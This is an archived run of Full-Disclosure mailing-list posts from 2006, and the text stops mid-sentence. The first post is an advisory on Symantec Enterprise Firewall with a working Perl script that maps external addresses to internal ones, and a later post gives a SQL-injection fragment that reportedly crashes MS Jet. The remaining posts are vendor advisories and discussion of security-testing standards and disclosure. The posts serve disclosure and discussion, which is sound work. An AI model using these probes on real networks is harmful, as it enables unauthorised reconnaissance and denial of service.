[Full-disclosure] SEC Consult SA-20060512-0 :: Symantec Enterprise Firewall NAT/HTTP Proxy Private IP Exposure

[Bernhard Mueller]

SEC Consult Security Advisory 20060512-0
==
  title: Symantec Enterprise Firewall NAT/HTTP
 Proxy Private IP Exposure
program: Symantec Enterprise FW
 vulnerable version: 8.0
   homepage: www.symantec.com
  found: 2005-09-13
 by: SEC Consult / www.sec-consult.com
==

Vendor description:
---

Symantec's Enterprise Firewall provides complete network protection by
integrating smart application-level proxies, network circuits and packet
filtering into a special perimeter-security architecture (...)


Vulnerabilty overview:
---

Enterprise FW leaks internal IPs of natted machines in response to
certain HTTP requests.


Vulnerability details:
---

A request of the form "get/XX HTTP/1.0" (note the missing space)
triggers the exposure. The firewall seems to forward the request and to
wait a certain time for a reply from the webserver, until the timeout is
reaches. the final response from the firewall looks like:

[EMAIL PROTECTED]:~> netcat www.behind-raptor.com 80
get/01 http/1.0
HTTP/1.1 504 Gateway Timeout
MIME-Version: 1.0
Server: Simple, Secure Web Server 1.1
Date: Tue, 13 Sep 2005 06:23:32 GMT
Connection: close
Content-Type: text/html

[...]

The request seen by the firewall was:

 http://10.238.94.57/01



Here's a simple script to map external to internal IPs.

---

#!/usr/bin/perl
# [title] raptor firewall internal IP disclosure 'exploit'
# [mailto] research [at] sec-consult [dot} com
#
# [EMAIL PROTECTED]:~/home/sk0L> perl raptor-nat.pl behind.raptor.com
# waiting for timeout (this can take about 1 min.)
# behind.raptor.com: 10.238.94.67

use IO::Socket;

$| = 1;

$host = $ARGV[0] or die "$0 \n";

$request = "getXXX/XXX HTTP/1.0\n\n";

my $sock = new IO::Socket::INET (
 PeerAddr => $host,
 PeerPort => 80,
 Proto => 'tcp',
);

die "could not open socket: $!\n" unless $sock;

print $sock $request;

print "waiting for timeout (this can take about 1 min.)\n";

while (<$sock>) {
 if ($_ =~ /http:\/\/(\d+\.\d+\.\d+\.\d+)XXX/) {
 $ip = $1;
 }
}

if (defined($ip)) {
 print "$host: $ip\n";
} else {
 print "failed.\n";
}

close($sock);


vendor status:
---
vendor notified: 2005-09-13
vendor response: 2005-09-13
patch available: 2005-12


General remarks
---
We would like to apologize in advance for potential nonconformities
and/or known issues.

~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Blindengasse 3
A-1080 Wien
Austria

Tel.: +43 / 1 / 409 0307 - 570
Fax.: +43 / 1 / 409 0307 - 590
Mail: office at sec-consult dot com
www.sec-consult.com

EOF SEC Consult / @2006
research at sec-consult dot com

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] MS06-019 - How long before this develops into a self propagating email worm

[schanulleke . 29172787]

n3td3v,

You wrote:

> > threat meters:
> Seriously, threat meters are
a waste of time and should be scraped by all.

I am not a big fan of them
either unless they are implemented well, meaning there are concrete reasons
to go from one state to the other and each state has specific actions attached
to them.

All the net and IRL threat meters seem to lack these requirements.


> Lets call it "paranoia meter" because its heresay, there is no
> particuler
threat. Just because a vulnerability is wild and not
> patched, does not
pose a threat. In terrorism a threat is specific
> information that an attack
is being planned. 

I have to disagree with you definition of a threat here.
Threat is the likely hood of something happening if it is planned or not.


When I go into certain neighbourhoods of certain places with a lot of gold
jewelary showing the threat of being mugged it higher then when I don't show
the gold.

The consequeces of an event happening are also part of the threat.
I have a high chance of taking coffe in the next 30 minutes, but the (negative)
consequeces of that so low I do not considered it a threat.

Likewise the
public knowledge of a vulnerability increases the likelyhood if it being 
exploited.
If the vulnerability has serious consequences (like the current exchange 
culnerability)
the threat is again greater. 



> Although, the internet
> threat meters
are lamer than the main land threat meter (and even the
> mainland threat
meter is lame), because its completely based on
> heresay, theres an unptached
vulnerability, "this could happen, but we
> don't have any intelligence whatsoever
that something is being
> programmed, but we thought we'd raise the internet
threat level, you
> know because theres nothing else happening".

Yes,
this is hearsay, like most other intelligence. If it was not hearsay it would
again increase the likeliness and the threat.

> Although, thats how it
used to be. The "bad guys" have realised now
> how much money these cyber
agencies are making out of exploit virii,
> that they've decided not to launch
an attack, based on their threat
> meters. The only time a real threat will
come is when cyber agencies
> are off-watch. Why would an attack be launched
if governments and
> businesses are expecting something to happen? The element
of suprise
> is as important as the terrorism which gives them the name terrorist.


Thanks for that insight. I feel we might have to make the split between
real hackers and the other 95%.

> Welcome to the future. Times are changing.
You can create a paranoia
> amougst the community, but the new kids on the
block aren't playing a
> destructive game of tig between malicious users
and security vendors.
> The ball is in the malicious users court. Each time
you raise your
> threat level and nothing happens is eating away at the credibility
of
> security vendors, although the bad guys always will have a cool nack

> of creeping up on everyone when they least expect it.

True, yet the
security vendors cannot afford to not make people aware of the current 
conditions.


> Although, has it ever been the case "thanks to your threat meter I
>
wasn't hacked", or with mainland terrorism "thanks to the terror
> meter,
i spotted a terrorist and called the cops and managed to divert
> a 9/11
style attack"

Unless there are specific actions associated with a threat
level it will nota ccomplisch anything.

Schanulleke

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Should I Be Worried?

[Rajesh V]

Ohio University suffers security breaches

http://news.com.com/2100-7349_3-6071505.html?part=rss&tag=6071505&subj=news

So can we assume the matter to be closed now? Or is yours still
another school, waiting for data to be stolen?

If it is another school, maybe all these break-in news reports will
hopefully make them secure their systems a little more.

Rajesh V



On 4/27/06, CrYpTiC MauleR <[EMAIL PROTECTED]> wrote:

After reading http://www.securityfocus.com/news/11389 it made me think twice 
about actually going public with my school's security hole by having school 
notify students, parents and/or faculty at risk due to it.

I mean I didnt access any records, just knew that it was possible for someone 
to access my account or anyone elses. I did not even exploit the hole to steal, 
modify etc any records. Does this still put me in the same boat at the USC guy? 
If so I am really not wanting to butt heads with the school in case they try to 
turn around and bite the hand that tried to help them. Even if my intentions 
were good, they might even make something up saying I accessed entire database 
or something. I have nothing to prove me otherwise since they have access to 
the logs. Already it seems like the school is trying to sweep the incident 
under the rug, so very wary as to what they might do if they were pushed into a 
corner and forced to go public. Anyone has any idea what I can do or should I 
just let this slide? I am already putting my credit report and such on fraud 
alert just in case, and definelty do not plan on attending this school after my 
degree or school year is over. A transfer is better than having me risk my data.

Regards,
CM

--
___
Check out the latest SMS services @ http://www.linuxmail.org
This allows you to send and receive SMS through your mailbox.

Powered by Outblaze

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] How secure is software X?

[Brian Eaton]

On 5/11/06, Blue Boar <[EMAIL PROTECTED]> wrote:

Don't we fairly quickly arrive at all products passing all the standard
tests, and "passing" no longer means anything?


I believe that point is called "success."

- Brian

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] escalating privileges with named pipes

[/dev/null]

Hello list,

does anyone know a practical example of named pipe attack to escalate 
privileges in Windows environment? I'm trying to learn more about named pipe 
attacks so any link/paper suggestion would be much appreciated (I already 
found "Discovering and Exploiting Named Pipe Security Flaws for Fun and 
Profit"). 

Thank you very much.

-E.




http://www.email.si/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] MS Jet Vuln...

[evilrabbi]

Hello,I've had this laying around a while and thought I'd share. I lost most of my research on it and I dont belive it's ever been patched. Last time I checked it was a while back on win2k3 with all patches applied to the os and Jet. If my memory serves me correctly it's just a null pointer deference with no possible code execution, but then again I might be wrong. Someone else might wanna look into this because frankly I dont really care about it. Any how I guess it's kinda cool cause you can trigger it via a web browser if a website has an sql injection vuln. I used fips cms to test it.
UNION%20SELECT%20null%20FROM%20

Re: [Full-disclosure] How secure is software X?

[Blue Boar]

Brian Eaton wrote:

On 5/11/06, Blue Boar <[EMAIL PROTECTED]> wrote:

Don't we fairly quickly arrive at all products passing all the standard
tests, and "passing" no longer means anything?


I believe that point is called "success."


I was thinking more like all their "security" efforts only went to 
making sure the test reports clean, and they get declared "secure".  Now 
you have two products that pass the tests regardless of relative 
security, or whether one of them was carefully developed with security 
in mind.  Not my definition of success.


BB

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Apple QuickDraw/QuickTime Multiple Vulnerabilities

[Avert]

McAfee, Inc.
McAfee Avert(tm) Labs Security Advisory
Public Release Date: 2006-05-11

Apple QuickDraw/QuickTime Multiple Vulnerabilities

CVE-2006-1249, CVE-2006-1453, CVE-2006-1454, CVE-2006-1459, CVE-2006-1460,
CVE-2006-1461, CVE-2006-1462, CVE-2006-1464, CVE-2006-1465
__

* Synopsis

Apple QuickTime and Apple QuickDraw are multimedia technologies used to
process image, audio and video data. QuickTime and QuickDraw are used by the
Mac OS X operating system and by the QuickTime media player for Microsoft
Windows.

Two code execution vulnerabilities are present in QuickDraw PICT image
format support.

Twenty one code execution vulnerabilities are present in QuickTime support
for various multimedia formats including: MOV, H.264, MPEG 4, AVI, FPX and
SWF.

Exploitation could lead to execution of arbitrary code. In order for an
attack to succeed user interaction is required and therefore the risk factor
for these issues is medium.

__

* Vulnerable Systems

Mac OS X 10.4.6 and below without May 2006 security update installed
QuickTime 7.0.4 and below for Mac OS X
QuickTime for Windows 7.0.4 and below

__

* Vulnerability Information

CVE-2006-1249

Two integer overflow vulnerabilities are present in QuickTime FlashPix (FPX)
image format support.

CVE-2006-1453, CVE-2006-1454

Two buffer overflow vulnerabilities are present in QuickDraw PICT image
format support. 

CVE-2006-1459

Seven integer overflow vulnerabilities are present in QuickTime MOV video
format support.

CVE-2006-1460

Five buffer overflow vulnerabilities are present in QuickTime MOV video
format support.

CVE-2006-1461

Two buffer overflow vulnerabilities are present in QuickTime Flash (SWF)
support.

CVE-2006-1462

Three integer overflow vulnerabilities are presenting QuickTime H.264 (M4V)
video format support.

CVE-2006-1464

One buffer overflow vulnerability is present in QuickTime MPEG4 (M4P) video
format support.

CVE-2006-1465

One buffer overflow vulnerability is present in QuickTime AVI video format
support. 

__

* Resolution

Apple has included fixes for the QuickDraw issues in the May 2006 Mac OS X
security update and in QuickTime version 7.1 for Windows. Apple has included
fixes for the QuickTime issues in QuickTime version 7.1 for Mac OS X and for
Windows.  

__

* Credits

These vulnerabilities were discovered by Mike Price of McAfee Avert Labs.

__

* Legal Notice

Copyright (C) 2006 McAfee, Inc.
The information contained within this advisory is provided for the
convenience of McAfee's customers, and may be redistributed provided that no
fee is charged for distribution and that the advisory is not modified in any
way. McAfee makes no representations or warranties regarding the accuracy of
the information referenced in this document, or the suitability of that
information for your purposes.

McAfee, Inc. and McAfee Avert Labs are registered Trademarks of McAfee, Inc.
and/or its affiliated companies in the United States and/or other Countries.
All other registered and unregistered trademarks in this document are the
sole property of their respective owners.

__

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] How secure is software X?

[Brian Eaton]

On 5/12/06, Blue Boar <[EMAIL PROTECTED]> wrote:

Brian Eaton wrote:
> On 5/11/06, Blue Boar <[EMAIL PROTECTED]> wrote:
>> Don't we fairly quickly arrive at all products passing all the standard
>> tests, and "passing" no longer means anything?
>
> I believe that point is called "success."

I was thinking more like all their "security" efforts only went to
making sure the test reports clean, and they get declared "secure".  Now
you have two products that pass the tests regardless of relative
security, or whether one of them was carefully developed with security
in mind.  Not my definition of success.


Rather than being declared "secure", they should probably be declared
"not trivially broken with any of the standard tools."  Having "not
trivially broken" as a barrier to entry for software would be a major
improvement.

- Brian

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] escalating privileges with named pipes

[3APA3A]

Dear /dev/null,

You can try this one:

DigitalScream, Windows named pipes exploitation
http://www.phrack.org/phrack/61/p61-0x03_Linenoise.txt

In addition to explanations there are references to real-world exploits.

--Friday, May 12, 2006, 6:16:11 PM, you wrote to 
full-disclosure@lists.grok.org.uk:

dn> Hello list,

dn> does anyone know a practical example of named pipe attack to escalate
dn> privileges in Windows environment? I'm trying to learn more about named pipe
dn> attacks so any link/paper suggestion would be much appreciated (I already
dn> found "Discovering and Exploiting Named Pipe Security Flaws for Fun and
dn> Profit"). 

dn> Thank you very much.

dn> -E.



dn> 
dn> http://www.email.si/

dn> ___
dn> Full-Disclosure - We believe in it.
dn> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
dn> Hosted and sponsored by Secunia - http://secunia.com/
 


-- 
~/ZARAZA
Электрические шоки очень полезны для формирования характера. (Лем)

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] escalating privileges with named pipes

[Andrew R. Reiter]

Not sure if the below is the same, but:

http://www.blakewatts.com/namedpipepaper.html

On Fri, 12 May 2006, 3APA3A wrote:

:Dear /dev/null,
:
:You can try this one:
:
:DigitalScream, Windows named pipes exploitation
:http://www.phrack.org/phrack/61/p61-0x03_Linenoise.txt
:
:In addition to explanations there are references to real-world exploits.
:
:--Friday, May 12, 2006, 6:16:11 PM, you wrote to 
full-disclosure@lists.grok.org.uk:
:
:dn> Hello list,
:
:dn> does anyone know a practical example of named pipe attack to escalate
:dn> privileges in Windows environment? I'm trying to learn more about named 
pipe
:dn> attacks so any link/paper suggestion would be much appreciated (I already
:dn> found "Discovering and Exploiting Named Pipe Security Flaws for Fun and
:dn> Profit"). 
:
:dn> Thank you very much.
:
:dn> -E.
:
:
:
:dn> 
:dn> http://www.email.si/
:
:dn> ___
:dn> Full-Disclosure - We believe in it.
:dn> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
:dn> Hosted and sponsored by Secunia - http://secunia.com/
: 
:
:
:-- 
:~/ZARAZA
:Электрические шоки очень полезны для формирования характера. (Лем)
:
:___
:Full-Disclosure - We believe in it.
:Charter: http://lists.grok.org.uk/full-disclosure-charter.html
:Hosted and sponsored by Secunia - http://secunia.com/
:
:

--
[EMAIL PROTECTED]___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] escalating privileges with named pipes

[3APA3A]

Dear /dev/null,

You can try this one:

DigitalScream, Windows named pipes exploitation
http://www.phrack.org/phrack/61/p61-0x03_Linenoise.txt

In addition to explanations there are references to real-world exploits.

--Friday, May 12, 2006, 6:16:11 PM, you wrote to 
full-disclosure@lists.grok.org.uk:

dn> Hello list,

dn> does anyone know a practical example of named pipe attack to escalate
dn> privileges in Windows environment? I'm trying to learn more about named pipe
dn> attacks so any link/paper suggestion would be much appreciated (I already
dn> found "Discovering and Exploiting Named Pipe Security Flaws for Fun and
dn> Profit"). 

dn> Thank you very much.

dn> -E.



dn> 
dn> http://www.email.si/

dn> ___
dn> Full-Disclosure - We believe in it.
dn> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
dn> Hosted and sponsored by Secunia - http://secunia.com/
 


-- 
~/ZARAZA
  . ()

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
AdmID:621DCD03F4F5FED7C7F35811690A1EB6
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] How secure is software X?

[Lucien Fransman]

On Friday 12 May 2006 05:20, Blue Boar wrote:
Hello,
> Do you want just public results of standardized blackbox testing?
> Something similar to the ICSA firewall certification?  (Though, I assume
> you want actual public results.)
That would be ideal. properly anonimized ofcourse. It would be nice to have a 
list of applications that pass the "Litchfield" criteria. And software 
vendors would have a new marketing tool :) (Passed the  "Litchfield" 
criteria, so its better than product $foo, who failed 80% of the test)
>
> Would you include source review?  The Sardonix project tried to do that.
Well, ideally, that would be the case. But it would give an unfair advantage 
to software that has its source available. I would think its a nice extra, 
but not a requirement.  
>
> Who does the testing, and who pays for the time and equipment to do
> that?  Do all products get re-tested every time a new version of the
> product suite is released?  Do the test suites have to be free?  Do they
> re-test for every release of the victim software?
Well, the tests get done anyway. Why not bundle the results. The time spent at 
customer $bar is billed time anyway. using the (anonimized) results depends 
on NDA contracts and the like, but shouldn't pose a risk for that customer. 
And it would shorten the testing time in the future anyway. Because the 
pentester knows what the results of others are, and he only has to verify 
them.

>
> Don't people like yourself derive some benefit from having some portion
> of your assessment work stay proprietary?  If I'm trying to enhance the
> test suite with some new fuzzing, and I find a sexy bug, don't the
> incentives tend to lean towards me selling the bug to iDefense and
> hiding my fuzzer in the meantime?
I often wondered about this. An assessment is only as good as the assesser. 
What is the use of a "i can break and exploit $foo application, and have 
shown this in my tests", if it is done by a private exploit? Again, i'm 
thinking from the position of a company hiring a pentester/assesser, not by 
the multitude of people trying to gain from exploiting a 0day.
  
It only shows that the application has a bug, that is known to you or your 
company. Will it benefit the company that is being tested? I am not so sure 
about this. What would a company do with this kind of information? Fix the 
bug? They can't because they dont have access to the source.  Will it entice 
the vendor to fix the vulnerability? No, as they dont know it exists.
In my opinion, using private exploits and private vulnerabilities as a 
pentester/assesser only spreads FUD, and nothing really constructive is being 
done.
All this acomplishes is that the company who has the biggest archive of 
unpublished exploits, PoC code and vulnerabilities has a bigger chance at 
presenting a "we can break into your system 100% of the time" graph during 
sales talks.  
>
> Don't we fairly quickly arrive at all products passing all the standard
> tests, and "passing" no longer means anything?
It means something. It either means that the fuzzers or the testing technique 
is out of date, or that the applications being tested that pass have at least 
put some thought into the whole security process. Its a nice way to create a 
baseline. The application passess the default tests. that means that the 
applications have a minimum level of security. 

>
> I like the idea, but I'm wondering why people would contribute.  I'm
> also wondering how it can it stay consumer-beneficial, and not end up
> being driven by product vendors.
For the same reason as why OWASP and OSSTMM are successes. They dont get a lot 
of airtime, but everybody in the field knows about them. Everybody agrees (to 
a certain point) that they are useful. What would happen if we didn't have 
initiatives like this? There would be no framework, no comparison between 
methodologies and no standards.

The product vendors play a role, but I see it as the task of the people 
creating the standards to avoid it being a vendor platform only. And software 
vendors are not the enemy.

Anyway, these are my thoughts on this. The default disclaimers apply (not 
nessecarily the view of my employer, yadayada) 

>
>   BB
Enchanter_tim

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] How secure is software X?

[Lucien Fransman]

On Friday 12 May 2006 05:20, Blue Boar wrote:
Hello,
> Do you want just public results of standardized blackbox testing?
> Something similar to the ICSA firewall certification?  (Though, I assume
> you want actual public results.)
That would be ideal. properly anonimized ofcourse. It would be nice to have a 
list of applications that pass the "Litchfield" criteria. And software 
vendors would have a new marketing tool :) (Passed the  "Litchfield" 
criteria, so its better than product $foo, who failed 80% of the test)
>
> Would you include source review?  The Sardonix project tried to do that.
Well, ideally, that would be the case. But it would give an unfair advantage 
to software that has its source available. I would think its a nice extra, 
but not a requirement.  
>
> Who does the testing, and who pays for the time and equipment to do
> that?  Do all products get re-tested every time a new version of the
> product suite is released?  Do the test suites have to be free?  Do they
> re-test for every release of the victim software?
Well, the tests get done anyway. Why not bundle the results. The time spent at 
customer $bar is billed time anyway. using the (anonimized) results depends 
on NDA contracts and the like, but shouldn't pose a risk for that customer. 
And it would shorten the testing time in the future anyway. Because the 
pentester knows what the results of others are, and he only has to verify 
them.

>
> Don't people like yourself derive some benefit from having some portion
> of your assessment work stay proprietary?  If I'm trying to enhance the
> test suite with some new fuzzing, and I find a sexy bug, don't the
> incentives tend to lean towards me selling the bug to iDefense and
> hiding my fuzzer in the meantime?
I often wondered about this. An assessment is only as good as the assesser. 
What is the use of a "i can break and exploit $foo application, and have 
shown this in my tests", if it is done by a private exploit? Again, i'm 
thinking from the position of a company hiring a pentester/assesser, not by 
the multitude of people trying to gain from exploiting a 0day.
  
It only shows that the application has a bug, that is known to you or your 
company. Will it benefit the company that is being tested? I am not so sure 
about this. What would a company do with this kind of information? Fix the 
bug? They can't because they dont have access to the source.  Will it entice 
the vendor to fix the vulnerability? No, as they dont know it exists.
In my opinion, using private exploits and private vulnerabilities as a 
pentester/assesser only spreads FUD, and nothing really constructive is being 
done.
All this acomplishes is that the company who has the biggest archive of 
unpublished exploits, PoC code and vulnerabilities has a bigger chance at 
presenting a "we can break into your system 100% of the time" graph during 
sales talks.  
>
> Don't we fairly quickly arrive at all products passing all the standard
> tests, and "passing" no longer means anything?
It means something. It either means that the fuzzers or the testing technique 
is out of date, or that the applications being tested that pass have at least 
put some thought into the whole security process. Its a nice way to create a 
baseline. The application passess the default tests. that means that the 
applications have a minimum level of security. 

>
> I like the idea, but I'm wondering why people would contribute.  I'm
> also wondering how it can it stay consumer-beneficial, and not end up
> being driven by product vendors.
For the same reason as why OWASP and OSSTMM are successes. They dont get a lot 
of airtime, but everybody in the field knows about them. Everybody agrees (to 
a certain point) that they are useful. What would happen if we didn't have 
initiatives like this? There would be no framework, no comparison between 
methodologies and no standards.

The product vendors play a role, but I see it as the task of the people 
creating the standards to avoid it being a vendor platform only. And software 
vendors are not the enemy.

Anyway, these are my thoughts on this. The default disclaimers apply (not 
nessecarily the view of my employer, yadayada) 

>
>   BB
Enchanter_tim

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] How secure is software X?

[sebastian . rother]

Well the same question cam eup also in OpenBSD-mailinglists.
And I angree with Theo de Raadt because he`s completly right.
So I`ll simply paste his mail:

---
> http://marc.theaimsgroup.com/?l=openbsd-misc&m=114657401630096&w=2
>
> If I understand correctly from what I've been told, this is not a
> hardware
> issue but an 'X' issue.

It is the job of the operating system to shield the hardware from
userland processes.  That's what every operating system does.  Some do
a better job of this than others.  But when an operating system fails
to do this shielding, it is almost always a bug in the operating
system.

However, in this case, we cannot solve this in the operating system.

The X developers have created an X server which *REQUIRES* access the
raw hardware.

Therefore all the operating systems developers have given the X server
such access, by creating a "hole" in their operating system, which
permits the X server to access any chip-level registers it wants.

This is called the "device drivers in userland" model.  It violates
all the security models you will hear of in a university class.

Having done so, they place operating system designers in the situation
of choosing between the two options: "Our users cannot run X" or
"there must be a hole in our operating system".  Guess which choice
every vendor makes?

We provide a sysctl to let the user decide -- that is what the
aperture sysctl is for.  And we admit that is a cop-out.  That's
because there is no operating system level solution to the problem.
At least we did not cop out as far as other vendors, who let any root
process play with the any registers.  We only let one root process
play with the registers at a time.  This is not a strong solution, but
it the best we can do.

But let me be clear -- the X developers are a bunch of shameless
vendor-loving lapdogs who sure are taking their time at solving this >
10 year old problem!  They spend way more time chasing the latest
vendor binary loaded device driver, than they do solving this obvious
problem.  (Translation: They don't want to change how X works, because
it would break the vendor binary drivers from ATI and NVIDIA.  That is
part of what happens when X developers get jobs at vendors).

What Loic found is just one example of perhaps 50 other serious &
equivelant security problems.  Or maybe more.  Most modern video
chipsets can DMA all over the address space if requested.  Many have
processors that code could be loaded into, even surviving reboots.
If there is a one bug in the X server, your machine is compromised.

How does this get solved?

If the X server did not require direct hardware access these problem
would go away immediately.

This requires that a proper abstraction be designed, so that a kernel
device driver did the nasty register bits, and then communicated via a
sanitized channel to the X server.  This is the obvious seperation model
that all other Unix things use.  Unix processes use read() and write()
to modify files.  You don't see them talking directly to SATA chipsets
do you?

If they show up and provide a simple specification for such an
abstration layer between a "kernel video driver" and a "X video
driver", and helped us a little bit with the registers, the problem
would go away almost immediately.  That requires them to do some
clever design, but it is clear they know more about past, current, and
future video chipsets.  They know the hardware, and we do not.  They
can solve this for all X-running operating systems today, or they can
cop out and not solve it ever.

They've had 10 years, and yet every year they get more entrenched in
the entirely insecure model of "gigantic process running as root,
which accesses registers like mad".

This problem is ENTIRELY the X group's fault!  They have failed us.
Ten years ago they were laughing at Microsoft for moving their video
subsystem into their kernel, but now the joke is on the X developers,
because what Microsoft did solved all these driver security problems!

This is 100% an X server bug.  It is not a hardware bug, and it is not
an operating system bug.

[Feel free to forward this anywhere; I feel that Loic's original
announcement totally missed at assigning the blame where it lies, and
the result is that it is not being fixed.]
---

The X-Developers do realy a poor job...


Kind regards,
Sebastian

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Black Box Voting's Latest Diebold Report

[Seth Johnson]

> http://www.bbvforums.org/cgi-bin/forums/board-auth.cgi?file=/1954/27675.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Re: How secure is software X?

[Adam Shostack]

Hi David,

Very briefly because I'm swamped today:  Please consider bringing some
of this to Metricon
(https://securitymetrics.org/content/Wiki.jsp?page=Welcome)

Also there's a project of US DHS/NIST and probably others called
SAMATE Software Assurance Metrics and Tool Evaluation
http://samate.nist.gov/index.php/Main_Page

which might be of interest.

Adam

On Fri, May 12, 2006 at 02:59:17AM +0100, David Litchfield wrote:
| How secure is software X?
| 
| At least as secure as Vulnerability Assessment Assurance Level P; or Q or 
| R. Well, that's what I think we should be able to say. What we need is an 
| open standard, that has been agreed upon by recognized experts, against 
| which the absence of software security vulnerability can be measured - 
| something which improves upon the failings of the Common Criteria. Let's 
| choose web server software as an example. When looking for flaws in a new 
| piece of web server software there are a bunch of well known checks that 
| one would throw at it first. Try directory traversal attacks and the 
| several variations. Try overflowing the request method, the URI, the query 
| string, the host header field and so on. Try cross site scripting attacks 
| in server error pages and file not found messages. As I said, there's a 
| bunch of checks and I've mentioned but a few. If these were all written 
| down and labelled with as a "standard" then one could say that web server 
| software X is at least as secure as the standard - providing of course the 
| server stands up.
| 
| For products that are based upon RFCs it would be trivial to write a simple 
| criteria that tests every aspect of the software as per the RFCs. This 
| would be called Vulnerability Assessment Assurance Level: Protocol. If a 
| bit of software was accredited at VAAL:Protocol  then it would given a 
| level of assurance that it at least stood up to those attacks.
| 
| Not all products are RFC compliant however. Sticking with web servers, one 
| bit of software might have a bespoke request method of "FOOBAR". This opens 
| up a whole new attack surface that's not covered by the VAAL:Protocol 
| standard. There are two aspects to this. Anyone with a firewall capable of 
| blocking non-RFC compliant requests could configure it to do so - thus 
| closing off the attack surface - from the outside at least. As far as the 
| standards go however - you'd have to introduce criteria to cover that 
| specific functionality. And what about different application environments 
| running on top of the web server? And what about more complex products such 
| as database servers? I suppose at a minimum for DB software you could at 
| least have a standard that simply checks if the server falls to a long 
| username or password buffer overflow attempt and then fuzz SQL-92 language 
| elements. It certainly makes standardization much more difficult but I 
| think by no means impossible.
| 
| Clearly, what is _easy_ is writing and agreeing upon a VAAL:Protocol 
| standard for many different types of servers. You could then be assured 
| that any server that passes is at least as secure as VAAL:Protocol and for 
| those looking for more "comfort" then they can at least block non-RFC 
| compliant traffic.
| 
| Having had a chat with Steve Christey about this earlier today I know there 
| are other people thinking along the same lines and I bet there are more 
| projects out there being worked on that are attempting to achieve the same 
| thing. If anyone is currently working on this stuff or would like to get 
| involved in thrashing out some ideas then please mail me - I'd love to hear 
| from you.
| 
| Cheers,
| David Litchfield
| http://www.databasesecurity.com/
| http://www.ngssoftware.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Re: How secure is software X?

[Tim Newsham]

At least as secure as Vulnerability Assessment Assurance Level P; or Q or R. 
Well, that's what I think we should be able to say. What we need is an open 
standard, that has been agreed upon by recognized experts, against which the 
absence of software security vulnerability can be measured - something which 
improves upon the failings of the Common Criteria.


What about a completely different approach, as chosen by the Sardonix
project?  Keep track of who has tested a particular product and what
they have found.  Keep track of the ability of testers to find things
and the number of things that are missed.  Combine these metrics into
some level of assurance and some security rating

"5 very good security reviewers have done extensive testing of this 
product and found a small number of vulnerabilities."


"2 reviewers made a cursory pass over the code and identified a few 
issues"


"100 reviewers found many bugs in this product over the last 12 mos, and 
the number of vulns seems to be coming down very slowly with each new 
revision"


These sort of statements can be made more formal, and each carries a lot 
of useful information about security and confidence.  Of course its only 
as good as participation. I'm not sure the level of information sharing 
required to make this really work is present in the security community.


Tim Newsham
http://www.lava.net/~newsham/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Scientists Call Diebold Security Flaw 'Worst Ever'

[lsi]

[I don't agree with the Professor, when he asserts that the best
treatment for this problem is denial.  I suggest that the best
treatment for this problem is dissemination, far and wide, so that
the broadest range of pressures is brought to bear. - Stu]

http://www.commondreams.org/headlines06/0511-11.htm

Published on Thursday, May 11, 2006 by Inside Bay Area

Scientists Call Diebold Security Flaw 'Worst Ever'

Critics say hole created for upgrades could be exploited by someone
with nefarious plans

by Ian Hoffman


Computer scientists say a security hole recently found in Diebold
Election Systems' touch-screen voting machines is the "worst ever" in
a voting system.

Election officials from Iowa to Maryland have been rushing to limit
the risk of vote fraud or disabled voting machines since the hole was
reported Wednesday.

Scientists, who have conferred with Diebold representatives, said
Diebold programmers created the security hole intentionally as a
means of quickly upgrading voting software on its electronic voting
machines.

The hole allows someone with a common computer component and
knowledge of Diebold systems to load almost any software without a
password or proof of authenticity and potentially without leaving
